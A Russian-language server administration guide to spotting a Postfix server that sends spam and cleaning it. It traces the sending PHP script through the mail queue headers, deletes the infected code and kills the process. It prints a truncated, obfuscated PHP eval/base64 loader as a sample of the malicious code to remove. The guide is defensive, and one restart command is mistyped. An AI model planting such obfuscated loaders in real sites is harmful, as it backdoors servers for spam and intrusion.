Как узнать, что с Вашего сервера рассылается спам:
- на почту стали приходить ругательные ответы от жертв;
- перестали уходить письма с сайта;
- хостер написал гневное письмо, что Вы будете заблокированы за рассылку спама;
- все вышеупомянутое и многое другое.
Причины:
- слабый root-пароль (и вообще почему-то не отключен root);
- настройки безопасности сервера никуда не годятся;
- на сервере один или несколько сайтов на WordPress (как правило, виновата старая версия);
- админ сервера — злоумышленник (да-да, не смейтесь, сплошь и рядом);
- все вышеупомянутое и многое другое.
Последствия:
- ваш email, домен и IP (а зачастую и вся подсеть) попадает в black-листы почтовых сервисов и глобальные black-листы (пару-тройку раз Вам простят, но однажды забанят навеки);
- вас ненавидят жертвы рассылки;
Как лечить?
1. Останавливаем postfix
# service postfix stop
2. Получаем список очереди писем (это может быть ОЧЕНЬ много писем):
# mailq
3. Желтым выделен ID письма (выбирайте письмо заведомо являющееся спамом). Скопируйте этот ID в команду, чтобы получить заголовки письма:
# postcat -vq A9CC9182699 |more
Находим фразу X-PHP-Originating-Script и видим имя файла, который генерирует спам. В данном случае это addwp.php .
4. Ищем возможные локации файла (их может быть много), указываем путь к папке с сайтами:
# find /var/www/web/ -name addwp.php
В зараженном файле обычно находится код вроде этого:
$b2e4=chr(95)."r\x65p".chr(108)."ace";$tkGa53s=chr(101)."v".chr(97)."\x6c".chr(40).chr(98)."\x61\x73\x6564\x5f".chr(100)."e\x63".chr(111)."d\x65(".chr(34).chr(81)."\x47\x56y\x63m\x39y".chr(111)."I".chr(109).chr(120)."\x76\x5A1".chr(57).chr(108)."\x63n\x4a\x76".chr(99)."n".chr(77)."\x69\x4C".chr(68)."\x41".chr(112)."Ow".chr(112)."A\x61\x57\x35\x70X\x33".chr(78).chr(108).chr(100)."Cg".chr(105)."\x5A".chr(88)."J".chr(121)."\x62".chr(51)."\x4A\x66\x62\x47\x39nI\x69w".chr(119)."\x4B\x54\x73\x4b\x43".chr(109)."\x6cmI".chr(67)."\x68p".chr(99).chr(51)."N".chr(108).chr(100).chr(67)."g\x6b".chr(88).chr(49)."B".chr(88)."\x33Jl\x63".chr(71)."\x39\x79".chr(100)."\x6b\x4e\x73\x4fD\x42\x59\x5A".chr(67)."IpCgl7\x43".chr(103).chr(107)."\x4A\x5A".chr(88)."Zh\x62\x43\x68".chr(105)."Y".chr(88)."N\x6c\x4E\x6a\x52\x66".chr(90).chr(71)."\x56j\x62\x32\x52\x6CK\x43\x52\x6A\x62".chr(50)."RlKSk\x37\x43g\x6C".chr(57)."C\x6e".chr(48).chr(75)."Z".chr(88)."h" // ...etc
Удаляем такие фрагменты и повторяем для всех найденных файлов.
5. Возвращаемся в терминал и очищаем очередь писем:
# postsuper -d ALL
6. Запускаем postfix:
# service start postfix
7. Нужно также найти и убить спамящий процесс:
получаем PID
# lsof -i :25
вставляем PID
# readlink -f /proc/{PID of process}/exe
киляем процесс по PID
# kill {PID of process}
Enjoy!